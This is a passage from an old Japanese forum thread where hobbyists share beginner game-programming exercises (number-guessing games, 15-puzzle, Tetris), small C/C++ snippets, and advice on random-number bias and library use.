マインスイーパもいいよ
サンプルは誰でも持ってるし、イベントドリブン型のアプリ設計とか
再帰を使ったアルゴリズムとかもあるし、初心者の実力アップにはいい教材。
queueを使って再帰をやめるとどうなるか、とか凝りだしたらおもしろい。

>>672
俺も昔、N**-BASICで、IFとGOTOだけでアドベンチャーゲーム作った事がある。
紙とペンでフラグ管理をちゃんとして、あとは移動と戦闘を作れば
dqタイプは楽かもね。

675:名前は開発中のものです。
07/05/05 17:14:02 D2oIcwh+
>>667
亀だが…
左に移動するときならブロックの左端と、既に固定されたブロックや壁との衝突判定を行おうとしていた
その左端をどう導出したらいいのかで詰まってた

4x4のブロックのフィールド全部で判定すればいいんだねーorz
アホでした。
今はオセロに挑戦中…

676:名前は開発中のものです。
07/06/20 13:42:19 8K3dmP9x
オセロ難しくはないがめんどい

677:名前は開発中のものです。
07/07/12 19:01:47 BNvwAZPq
wikiの段階的学習をやろうと思うんだけど
ゴリゴリ作って晒すのはこのスレでおk?

678:名前は開発中のものです。
07/07/12 19:02:55 kvp3cKLa
晒しage

679:名前は開発中のものです。
07/07/24 02:22:27 sikuFIAE
>>677
おk

680:名前は開発中のものです。
07/07/27 00:08:19 CWSFY+9/
横スクロールのアクションゲームを作れるようになるには
どれくらいかかる?

681:名前は開発中のものです。
07/07/27 00:12:36 Zd3sdNnp
今どれくらい出来るかにもよるよ。
1週間あればとりあえずシステムだけなら出来ると思う。

682:名前は開発中のものです。
07/07/27 00:55:18 1ly+L1dQ
早い段階で作れるようになる

683:名前は開発中のものです。
07/07/28 13:23:39 PcfzSmjm
画面出入力
キー入力
ファイル読み書き
演算
これを(どれか一つもしくは複数)満たすように簡単なお題を出していけば、基本何でも作れそうだが

684:名前は開発中のものです。
07/07/28 21:16:20 VUtYyNMw
もっと整理してみた

画面表示(キャラと背景)
入力(キーかマウス)
演算(当たり判定)

ファイル読み書きは少し後でいいんでない?

685:683
07/07/28 21:40:46 UeZm28Yq
上の講義のサンプル見ると、テトリスの得点を保存させるとか、オセロの盤面を保存させるとか
ちょっとした事だけでも分かると夢が膨らむかなぁと思って。
直ぐに必要になるものでもないから後でもいいね

686:名前は開発中のものです。
07/07/30 11:28:11 6LwwN6qr
夢がひろがりんぐ


すたれたなこれも・・・

687:名前は開発中のものです。
07/07/31 02:25:43 DUqyrB+j
ぷよぷよはくっつきまで表示できるようになれば合格かなぁ

688:名前は開発中のものです。
07/07/31 14:07:18 OcT/rTQJ
ぷよの場合は、何個くっついてるか?の判定ができれば合格じゃね?

689:名前は開発中のものです。
07/08/22 21:17:36 ZVS3wfyE
はっきり言ってくっつくとかさっぱり分からないまま放置。
ライフゲームまではやったんだがなぁ。

690:名前は開発中のものです。
07/11/26 00:11:38 0u+2SUoR
過疎ってるので使わせてもらおうかな・・。
とりあえず
URLリンク(gamdev.org)
段階的学習!

を参考にしてテトリスを作ってみようかと思います。

691:名前は開発中のものです。
08/03/31 01:57:42 gUB5EALr
プログラミングの知識ほぼゼロですがC言語に挑戦してみようと思います。
690の「段階的学習!」のコメント欄によると
>一番の最初には数当てゲーム。その次にマスターマインドとか。この辺から始めないとな -- 2005-11-25 (金) 02:10:27
とあるので、まず数当てゲームの作成に取り組んでみます。


692:名前は開発中のものです。
08/03/31 06:10:02 6Xmv80aV
雑魚晒しage

693:名前は開発中のものです。
08/04/06 03:23:16 3FIXnopP
>>691じゃないけど数当てゲーム作った
scnafで%cを使うと無限ループになるけどなんで?
//数当てゲーム
#include <stdio.h>
#include <stdlib.h>

int main()
{
    int gameover = 0;
    int seikai = 0;
    int kaitou = 0;
    char replay = 'y';
    char buf[2];

    while(replay=='y')
    {
        printf("1-9の数を直感で当てます。\n");
    
        seikai = rand() % 9 + 1;
        while(kaitou != seikai)
        {
            printf("1-9の値を入力して[ENTER]を入力:");
            scanf("%d", &kaitou);
        }
        printf("正解です!!\nもう一度プレイしますか?[y/n]\n");
        scanf("%s", &buf);
        replay=buf[0];
    }

    return 0;
}


694:名前は開発中のものです。
08/04/06 04:47:09 6iQTQxIz
>>693
とりあえず、

・srand()を使わないと答えのパターンが毎回同じになること
・rand()のような線形合同法が用いられている(と推測できる)関数の
 返り値の余りを採るやり方は、数値が偏りやすくなる可能性があること

を覚えるべき。2番目はわからなければ今は無視してもいいけど
1番目だけは絶対に理解しておくべき。

695:名前は開発中のものです。
08/04/06 05:32:21 pZ63dDRm
%cで1~9を入力すると数字の'1'(0x30)~'9'(0x39)になる。
%dで1~9を入力すると数値の1(0x0)~9(0x9)になる。
この場合欲しいのは数値なので%dで正解だと思う。

696:名前は開発中のものです。
08/04/12 16:41:42 wUyPJZn0
>数値が偏りやすくなる可能性があること
気になったので実験。
下記プログラムにて偏りを目視で確認してみた。
(実行結果:URLリンク(gamdev.org)

67と68を境に出現頻度が変わってる。

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main()
{
    long int hit[100]={0};
    long int i;

    srand((unsigned)time(NULL));

    for (i=0 ; i<1000000000 ; i++)
    {
        hit[rand()%100]++;
    }

    for (i=0 ; i<100 ; i++)
    {
        printf("%d\t%d\n", i, hit[i]);
    }

    return 0;
}


697:名前は開発中のものです。
08/04/12 16:46:13 u1ebOeKL
>>696
(整数演算で)「乱数範囲÷100×100」以上は再試行しないと…

698:名前は開発中のものです。
08/04/12 16:56:10 wUyPJZn0
仮説をたててみた

乱数の元になる数が0-9の10種類で出現する可能性は同じ

  乱数の元:0 1 2 3 4 5 6 7 8 9

0~2の乱数出力時の式

  式:rand() % 3

乱数の元から0~9が1回ずつ登場した場合

  出力数:乱数の元

    0 : 0 3 6 9
    1 : 1 4 7
    2 : 2 5 8

だから、>>696の実行結果はある値を境に出力頻度が変わった

これで正解?ちょっとググってくる

>>697
「乱数範囲÷100×100」って「乱数範囲」では?
乱数範囲%100を100セットってことかな

699:名前は開発中のものです。
08/04/12 17:04:10 u1ebOeKL
例えば乱数範囲が0~65535なら
65535÷100×100=65500になる。
65500~65535は%100すると
結果のバラツキに繋がるので捨てるのが基本。

700:名前は開発中のものです。
08/04/12 17:37:14 VRvbtz8m
乱数範囲による偏りに加えて、
線形合同法による乱数の下位nビットの周期が
高々2^nという点にも気をつけないといけない。
つまり、下位1ビットの周期は高々2^1 = 2。
偶数しか生成しないか、奇数しか生成しないか、
偶数と奇数が交互に生成されるかの3パターンしかない。
よって、線形合同法による疑似乱数生成関数randでサイコロを作ろうとして
rand()%6+1とかやっちゃうと、2人で遊んだ時に
片方のプレイヤーが偶数の目だけ、もう片方が奇数だけという状況が生まれる
(これをやっちゃった有名な例がカルドセプトサーガ)。

今でもCのrand関数は線形合同法のような形で実装されていることが多いけど、
下位kビットを捨て、k+1ビット目からを1ビット目と見なすことで
周期性の問題を解決しているものもある。

701:名前は開発中のものです。
08/04/17 23:00:01 xfcPWlW/
1~100までの数が書かれた玉が1個ずつ入った箱から、玉を取り出す場合は、どの数が出てくる確率も同じだけど、
1~100までの数が書かれた玉が1個ずつ入っていて、さらに1~10の玉を箱の中に追加したら確率が変わる。
そういうことだな。
で、余分に入れちゃった1~10を取り除く処理が必要というわけだ。

  rand()から得られる乱数範囲 : 0~65535
  取得したい乱数範囲      : 0~99

の場合、0~99が同じ確率で得られるように

  65535 - (65535 % 100) = 65500

を超えた部分は捨てる

つまり、rand()の戻り値が65500より大きかった場合は、無効な範囲から取得したとして
rand()による乱数取得をもう一度やりなおす。

プログラムの流れをまとめてみた
  1. rand()を実行
  2. もし、rand()の戻り値が65500より大きいなら1.へもどる
  3. rand()の戻り値を100で割った余りを得る
  4. おわり

702:名前は開発中のものです。
08/06/04 08:04:37 PZn8j6Ch
新Gamedevできたのでかきかき

TopPage - game-develop.com wiki
URLリンク(wiki.game-develop.com)

GameDevWikiを何とかするスレ
スレリンク(gamedev板)

703:名前は開発中のものです。
08/06/14 23:31:21 nnavq8hB
数当てゲームはこんなので良いですかね

1.ウィンドウを表示する
2.ランダムに1~10までの数字を一つ表示する
3.数字を入力して、その数字を表示する
4.2の数字と3の数字を比べて、入力された数よりも大きかったらBig
小さかったらSmallと表示させる
5.3と4を3回繰り返させる
もし正解したらそこでゲームを終わりにする

704:名前は開発中のものです。
08/11/06 02:05:29 5LSMjBOf
>>702
間違っています。
以上。
↓次の方どうぞ

705:名前は開発中のものです。
08/11/06 23:24:20 oz8drcUW
はい、次の人です。
お前の安価が間違ってるぞ、と。

706:名前は開発中のものです。
08/11/24 20:57:35 qPCWYPAF
過疎ってるけれどお邪魔しますよっと
いきなりパックマン作ろうと思って挫折したので、
一からこちらで勉強しにきました
数当てゲームから挑戦していきたいと思います

707:706 ◆Jg2hMRjtc.
08/11/24 21:26:57 qPCWYPAF
1.数当てゲーム 
Level1 ウィンドウを表示する
URLリンク(www.geocities.jp)


708:706 ◆Jg2hMRjtc.
08/11/24 21:55:12 qPCWYPAF
1.数当てゲーム 
Level2 ランダムに1~10までの数字を一つ発生させ、表示する
URLリンク(www.geocities.jp)

709:706 ◆Jg2hMRjtc.
08/11/25 21:39:13 GdvnSEyE
1.数当てゲーム 
level3 数字を入力して、その数字を表示する
URLリンク(www.geocities.jp)


710:706 ◆Jg2hMRjtc.
08/11/26 21:45:19 Wb2d5d5f
1.数当てゲーム 
Level4 Level2の数字とLevel3の数字を比べて入力された数よりも大きかったらBig。小さかったらSmall。同じならHitと表示させる。
URLリンク(www.geocities.jp)


711:名前は開発中のものです。
09/01/05 19:13:02 F8IEg8lA
int main()
{
glutInitDisplayMode(GLUT_DOUBLE|GLUT_RGB|GLUT_DEPTH|GLUT_ALPHA);
glutInitWindowSize(800,600);
glutInitWindowPosition(0,0);
glutCreateWindow("ロボット");
init();
glutReshapeFunc(reshape);
glutKeyboardFunc(key_press);
glutDisplayFunc(draw);
glutMainLoop();
return 0;
}

712:名前は開発中のものです。
09/01/06 21:32:51 c5JPjzC/
いまから参加したいけど何すればいい?

713:名前は開発中のものです。
09/01/06 21:59:13 364hVwSo
>>712
現在地も目的地もわからなければ道案内はできない
とりあえずプログラミング暦(スクリプト、ツールを含む)と最終的な目的(RPGが作りたいとか
Cをマスターしたいとか)を書いてくれ


714:名前は開発中のものです。
09/01/06 23:29:33 UozvWyya
基礎からと言うならまずは英語かな。
英語を読むことができれば海外の情報をゲットできるよ。

これとか教材にすると面白いかも。
URLリンク(wiki.gamedev.net)


715:名前は開発中のものです。
09/01/14 00:58:33 uviUrAzN
自分の位置をみつける目安は?

716:名前は開発中のものです。
09/01/14 01:16:39 yw67XO87
プログラミングスキル:
Lv.1 テトリス
Lv.2 インベーダー
Lv.3 グラディウス

グラフィックスキル:
Lv.1 デッサン一年目
Lv.2 デッサン二年目
Lv.3 デッサン三年目

サウンドスキル:
Lv.1 MP3/OGGのエンコード方法がわかる
Lv.2 DTMがわかる/楽器を演奏できる
Lv.3 オリジナルアルバムをリリースする

ライタースキル:
Lv.1 10000文字以上の作品を書いて公開したことがある
Lv.2 100000文字以上の作品を書いて公開したことがある
Lv.3 1000000文字以上の作品を書いて公開したことがある

PMスキル:
Lv.1 2chで企画を出したことがある
Lv.2 2chで出した企画に肯定的なレスが3つ以上つく
Lv.3 2chで出した企画が成功する

センス:
Lv.1 ぐにゃぐにゃ
Lv.2 へろへろ
Lv.3 ぴきーん


717:名前は開発中のものです。
09/01/14 03:18:01 7SW263aP
テトリスとインベーダーなら難易度はほぼ同じで
どちらかというとテトリスのほうが難しい
シューティングで並べるなら
Lv1インベーダ
Lv2ギャラガ
Lv3グラディウス

718:名前は開発中のものです。
09/01/14 22:36:11 GiBTcIUW
プログラムスキルCUI編
Lv.0 Hello,World(環境設定、表示)
Lv.1 四則算(入力、変数)
Lv.2 Big & Small(乱数、制御文)
Lv.3 石取り(関数,AI)
Lv.4 Hit & Brow(配列)
Lv.5 タイピング(タイマー,ファイル読込)
Lv.6 クイズ(データ構造,文字列操作,構造体)
Lv.7 しりとり(ファイル読書込,検索,クラス)
Lv.8 ノベル(これまでのまとめ)
Lv.9 アドベンチャー、育成シミュ、経営シミュ(それぞれのアルゴリズム)
Lv.99 ローグ風RPG

719:名前は開発中のものです。
09/01/14 23:15:49 GiBTcIUW
プログラムスキルWindow編共通
Lv.0 Window表示
Lv.1 パラパラアニメ(画像表示,タイマー)
Lv.2 もぐら叩き(マウス入力,点の当たり判定)
Lv.3 1画面STG、ドットイート(キー入力、当たり判定)
インベーダーは3.5くらい

パズル(+落ちもの)
Lv.1 スライドパズル(配列)
Lv.2 ブロック崩し(反射)
Lv.3 テトリス(回転)
Lv.4 ぷよぷよ、さめがめ、マインスイーパー(シードフィル)
Lv.5 Qix(マスクなどの画像処理)

アクションシューティング
Lv.1 スクロールSTG(スクロール)
Lv.2 横スクロールアクション(重力)
Lv.3 ベルトスクロール(奥行きつき当たり判定)
Lv.4 格闘(キー履歴)

RPG他
Lv.1 ノベル(メッセージ)
Lv.2 アドベンチャー(メニュー)
Lv.3 ドラクエ風RPG、シミュレーションRPG(2Dマップ)
Lv.4 アクションRPG(アクション)、クオータービューRPG(擬似3D)

ちなみにどれもネットワーク対応や3Dにするとレベルが上がる


720:名前は開発中のものです。
09/02/14 21:54:59 O8g6aplU
数当てゲーム完成
次15パズル挑戦してみたいと思います
level5
URLリンク(www.geocities.jp)

721:名前は開発中のものです。
09/02/14 23:13:09 O8g6aplU
15パズル level2
URLリンク(www.geocities.jp)

722:名前は開発中のものです。
09/02/15 10:57:23 TTfM6L/J
>>720
頑張ってるなあと賞賛しつつ、DXライブラリの挙動を理解してないなあという感想。
テキストの表示がおかしいとか感じないのかな?

そこは譲っても、正解してしまったときの処理がやばい。
DxLib_Endで開放してから正解の表示、これがどこで処理されるのか不定。
さらにここでループ抜けないので事態は悪化。
終了時にDxLib_Endで再解放・多重開放してしまうは致命的。
少なくとも、DxLib_Endはプログラムの最後にひとつだけ書くようにしたほうがいい。


15パズルはソース無いんで何もいえないけど、何ひとつできてない。
終了してウインドウが消えてから、ちらっと①って表示されてるあたり、
また根本的なとこでやらかしてる予想。

723:名前は開発中のものです。
09/02/15 11:23:10 TTfM6L/J
ちょっと試してみたけど、DxLib_End();の時点でアプリ終了するのな。
exit(0);とかabort();の感覚で使える。開放忘れの80倍はマシだけど、それはそれで怖い。

724:名前は開発中のものです。
09/02/15 12:57:16 Wi9+QSGh
>>722
アドバイスありがとうございます。

・数当てゲーム(レベル5について)

>そこは譲っても、正解してしまったときの処理がやばい。
>DxLib_Endで開放してから正解の表示
今見直してみたら、おっしゃる通りでした。
正解の表示を行った後ループを抜けるよう修正してみました。

ただ、
>DXライブラリの挙動を理解してないなあという感想。
>テキストの表示がおかしいとか感じないのかな?
ここの部分がまだ理解できません・・。
もしまだこのスレ見てらっしゃったら
ヒントいただけないでしょうか?

geocitiesに上手くアップロードできないので
うpろだお借りしました
修正した数当てゲーム(レベル5)です
URLリンク(www3.uploda.org)

725:名前は開発中のものです。
09/02/15 13:05:33 Wi9+QSGh
URLリンク(www.uploda.org)
15パズル(レベル2)ソース添付

今のところ画像表示命令を入れただけになってます


726:名前は開発中のものです。
09/02/15 14:00:58 TTfM6L/J
みなぎってきたんで15パズル作ってみた。
1時間ほど昼飯と息抜きしてたんで、2時間でLevel4あたり。
URLリンク(gamdev3.hp.infoseek.co.jp)
ひとのこと言えるようなソースじゃないね。今んとこ行き当たりばったりラジバンダリ。


DXライブラリの挙動関連は、まあ次でつまずくからいいや。
軽く直してやろうと思ったけど、ほとんど作り直しになったんで断念したw
ここを修正すればいいって話にもっていけなかった。
本サイトのサンプルプログラム「6.サウンドノベル風文字列描画基本」を参考に。

基本的に、画面が書き換わるたびに毎回すべて書き直さないといけない。
弾幕シューで何万の弾が飛び交ってても。
現状、コンソールアプリのように書きっぱなしで次に行ったらダメ。

727:名前は開発中のものです。
09/02/15 14:29:16 5+NnQ4mO
URLリンク(www.vipper.org)
数あて製作完了
プログラミングよりVBの基本操作でつまずいてるorz

次は15パズルに挑戦!

728:726 - 15パズル
09/02/15 16:46:43 3hrBr0KU
とりあえずLv7完成。5時間弱。
URLリンク(gamdev3.hp.infoseek.co.jp)

やっぱ、5時までかかるか。
変なバグというか仕様上の勘違いでけっこう時間取られてしまった。
気分というか、やりたいように組んだのでソースは汚い。
DrawScene関数の中でマウス入力から移動判定まで、ぜんぶ処理してしまってる。
それも悪いけど、もっとひどいのがチップの配列。
2次元なら最初から2次元で作っておけばごちゃごちゃ計算しなくて済んだのに。

729:名前は開発中のものです。
09/02/16 00:22:49 scWh6dm3
私の持っている参考書の15パズルで最初にシャッフルするときに
ランダムに2点選んでスワップしてんたんだけど、
この方法でシャッフルしても元に戻せることは数学的に
証明されてるんだろうか
一次元ではできない、三次元(の中の平面)ではできることが明らかだけど

730:名前は開発中のものです。
09/02/16 22:53:58 eQix4yBB
偶数回スワップなら戻せることが証明されてる。
奇数回スワップなら不可能が証明されてる。

731:名前は開発中のものです。
09/02/16 23:46:10 iZVk2yZd
>>730
ありがとん
奇数か偶数で分かれるのか
理由はわからないけど何か納得、裏の裏は表みたいな

732:名前は開発中のものです。
09/02/17 00:54:42 0TvnpHf0
>>730
そーなんだ・・。
じゃあ最初のシャッフルは出鱈目じゃまずいんだね
俺は729さんじゃないけど勉強になりました。
ありがとう

733:名前は開発中のものです。
09/02/17 13:42:59 /aLJ4H12
enumどこに書くかで迷う
どこかに一括して書くと楽だけど、そうするとカプセル化としては駄目なんじゃないかとか
ホントくだらないけど迷う

734:名前は開発中のものです。
09/02/17 18:57:53 yXaEW/E5
alpha.cpp

enum HOGE
{
  hoge,
  hogeo,
  hogeko,
  hogerou,
  hogesuke,
};


beta.cpp

enum HOGE;

735:VC++EEで ◆0XGXXnqf/2
09/03/10 23:39:06 TE+yeSUg
2月下旬頃にC++入門書購入して読んでるところです
参戦いいですか?
まずは1-9の数当てゲーム作りまっす!しかしポインタが理解できん・・orz

736:名前は開発中のものです。
09/03/11 00:42:20 jT1zwAC2
とりあえず数当てにポインタはいらんとおもうよ

737:名前は開発中のものです。
09/03/11 18:33:22 jSDTnQKl
お前のパソコンだってメモリーくらい積んでるだろ?
そのメモリー上のアドレス(番地)を格納するのがポインター。
アドレスによってメモリー上に格納されている値などを参照できる。

実際にOSがゴニョゴニョやってるので、
本当にメモリーを差しているかは微妙だが、考えたら負けです。

738:名前は開発中のものです。
09/03/11 20:00:12 vkDtC1BV
>>737
そこは微妙とかじゃなくて、指してないことにしとけばおk。(PC限定)


739:VC++EEで ◆0XGXXnqf/2
09/03/12 01:07:17 f0fJeXBE
ようやく完成。無駄に長いけど、大目に見てくださいw 改行が多いって怒られるので詰めてます
ポインタ使いませんでした。変数に値が入るっててのはわかるけど、アドレスがってのがイマイチわかりづらいなぁと。
*pointer で代入されてるアドレスに保存されている内容、 &pointer でポインタ変数そのもののアドレス、pointer 代入されてるアドレス、ってわかりづらい入門本のサンプルみても一見何してるか考えてしまう

#include <iostream>
#include <ctime>
#include <cstdlib>
using namespace std;
int main(){
int answer, data;
srand( (unsigned int)time(NULL) ); // 初期化
answer = rand() % 9 + 1; // 当てる数字の決定
cout << "数当てゲーム!" << endl << "1から9であなたのモノをいれて・・" << endl;
while(1){
cout << "数字: " << flush;
cin >> data;
if( !cin ){
cout << "それ、数字じゃないわ。" << endl << "アタシ、数字しか興味ないの。" << endl;
cin.clear(); cin.ignore(100,'\n'); continue;
}
if( data == answer ){
cout << "アタリ――(゚∀゚)――!!" << endl; break;
}else if( data < answer ){
cout << "あなたの入れたモノ、小さいのね。もうちょっと大きかったら・・" << endl;
}else{
cout << "あなた入れたモノ大きすぎて受け入れられないわ" << endl;
}
}
}

740:名前は開発中のものです。
09/03/30 22:02:27 uQRoXSES
ゲームを作れるようになりたい!
とりあえず「はじめてのC」って本を買ってこればいいですか

741:740
09/04/17 11:32:48 yzLB2E4x
「はじめてのC++」って本をとりあえず買ってきました
プログラミングをするにはコンパイラ?ってのがまず必要なんですね

次はURLリンク(www.kumei.jp)
にいってきます

742:名前は開発中のものです。
09/04/19 21:56:37 ogfSXXfS
頑張れー
俺はこことかみてる
URLリンク(vipprog.net)


743:740
09/04/20 18:40:27 PoHKsmWU
>>742
おおっわかりやすそうなサイトありがとう

知らない言葉の洪水に呑まれてちんぷんかんぷんな有様です
それでもなんとなく掴んだ感覚で
自分にはこのスレはまだ早い、とようやく気づきました
そもそもプログラム組むのってC言語しかないと思っていた(C++は最新版?くらいの)
もうすこし基本的なことを勉強してからまたきます^^

744:名前は開発中のものです。
09/06/23 00:59:49 dkvBYAOU
gamedevは新しくなってる
URLリンク(wiki.game-develop.com)


745:名前は開発中のものです。
09/06/23 01:00:31 dkvBYAOU
ごばくった・・


最新レス表示
レスジャンプ
類似スレ一覧
スレッドの検索
話題のニュース
おまかせリスト
オプション
しおりを挟む
スレッドに書込
スレッドの一覧
暇つぶし2ch